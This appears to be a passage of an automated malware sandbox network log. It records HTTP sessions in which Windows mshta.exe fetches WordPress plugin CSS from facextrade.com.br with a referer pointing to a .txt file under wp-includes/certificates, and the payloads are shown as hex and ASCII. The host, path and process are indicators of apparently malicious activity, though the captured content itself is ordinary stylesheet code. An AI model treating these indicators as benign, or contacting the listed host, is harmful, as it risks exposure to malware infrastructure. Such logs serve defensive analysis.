65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 2c 2e 6f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.o
Aug 16, 2022 11:05:55.430280924 CEST	1655	IN	Data Raw: 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 6a 73 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2e 6f 77 6c 2d Data Ascii: wl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user
Aug 16, 2022 11:05:55.430342913 CEST	1656	IN	Data Raw: 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 2e 6f 77 6c 2d 6c 61 7a 79 5b 73 72 63 5e 3d 22 22 5d 7b 6d 61 78 2d 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 2e 6f 77 Data Ascii: -carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:abs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49775	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:55.551399946 CEST	1677	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:55.775963068 CEST	1678	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:55 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51451-3f5-5c93d38d94a1b" Accept-Ranges: bytes Content-Length: 1013 Connection: close Content-Type: text/css
Aug 16, 2022 11:05:55.776200056 CEST	1679	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49776	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:55.667366028 CEST	1677	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:55.902450085 CEST	1680	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:55 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51464-13cec-5c93d38d9adcd" Accept-Ranges: bytes Content-Length: 81132 Connection: close Content-Type: text/css Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 0d 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 0d 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 44 61 6e 69 65 6c 20 45 64 65 6e 0d 0a 2a 2f 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 69 6e 66 69 6e 69 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 68 69 6e 67 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 49 6e 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 4f 75 74 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 58 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 59 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 32 30 25 2c 20 35 33 25 2c 20 38 30 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 Data Ascii: @charset "UTF-8";/!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden/.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both;}.animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite;}.animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s;}.animated.bounceIn,.animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s;}.animated.flipOutX,.animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s;}@-webkit-keyframes bounce { from, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3
Aug 16, 2022 11:05:55.902496099 CEST	1682	IN	Data Raw: 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 34 30 25 2c 20 34 33 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 Data Ascii: d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -
Aug 16, 2022 11:05:55.902527094 CEST	1683	IN	Data Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 37 35 35 2c 20 30 2e 30 35 30 2c 20 30 2e 38 35 35 2c 20 30 2e 30 36 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 Data Ascii: -animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px,
Aug 16, 2022 11:05:55.902542114 CEST	1684	IN	Data Raw: 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 Data Ascii: m { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } to { -webk
Aug 16, 2022 11:05:55.902573109 CEST	1686	IN	Data Raw: 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 20 30 2e 37 35 2c 20 31 29 3b 0d 0a 20 20 Data Ascii: 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1);
Aug 16, 2022 11:05:55.902601004 CEST	1687	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 25 2c 20 33 30 25 2c 20 35 30 25 2c 20 37 30 25 2c 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 Data Ascii: ); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); tra
Aug 16, 2022 11:05:55.902630091 CEST	1689	IN	Data Raw: 6d 3a 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 35 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 Data Ascii: m: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } to { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rot
Aug 16, 2022 11:05:55.902658939 CEST	1690	IN	Data Raw: 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 39 2c 20 2e 39 2c 20 2e 39 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 Data Ascii: -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
Aug 16, 2022 11:05:55.902684927 CEST	1691	IN	Data Raw: 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 Data Ascii: otate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: transl
Aug 16, 2022 11:05:55.902712107 CEST	1693	IN	Data Raw: 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 Data Ascii: , 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}.wobble { -webkit-animation-name: wobble; animation-name: wobble;}@-webkit-keyframes jello { from,
Aug 16, 2022 11:05:56.138489962 CEST	1695	IN	Data Raw: 20 6a 65 6c 6c 6f 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f Data Ascii: jello { from, 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49777	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:56.008236885 CEST	1694	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:56.240812063 CEST	1723	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:56 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a50ba8-14fc-5c93d38d8b229" Accept-Ranges: bytes Content-Length: 5372 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6f 77 6c 2d 73 74 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 30 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 65 78 74 20 69 6d 67 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 70 72 65 76 20 69 6d 67 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 77 70 2d 6c 6f 67 6f 2d 62 6f 72 64 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 32 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 69 6e 69 74 69 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. /.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav { text-align: center;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev { margin: 1px;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] { background: transparent;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img { width: 30px;}.lgx-logo-slider-wp .wp-logo-border .lgx-logo-item { border-style: solid; border-width: 2px;}.lgx-logo-slider-wp .lgx-logo-item { cursor: pointer; text-align: center;}.lgx-logo-slider-wp .lgx-logo-item .logo-company-name { display: block; text-transform: initial; margin: 0; padding: 10px;}.lgx-logo
Aug 16, 2022 11:05:56.240847111 CEST	1724	IN	Data Raw: 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 3a 68 6f 76 65 72 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 37 35 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d Data Ascii: -slider-wp .lgx-logo-item .logo-company-name:hover { opacity: 0.75;}.lgx-logo-slider-wp .nav-position-v-mid { position: relative;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next,.lgx-logo-slider-wp .nav-position-v-mid .owl-prev {
Aug 16, 2022 11:05:56.240873098 CEST	1726	IN	Data Raw: 6f 75 74 20 30 73 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d Data Ascii: out 0s; -ms-transition: all 0.2s ease-in-out 0s; -o-transition: all 0.2s ease-in-out 0s; transition: all 0.2s ease-in-out 0s;}.lgx-logo-slider-wp .hover-default .lgx-logo-item .lgx-logo-img { -moz-opacity: 1; -khtml-opacity: 1; -
Aug 16, 2022 11:05:56.240896940 CEST	1727	IN	Data Raw: 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 31 30 30 29 3b 0a 20 20 66 69 6c 74 65 72 3a 20 Data Ascii: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' valu
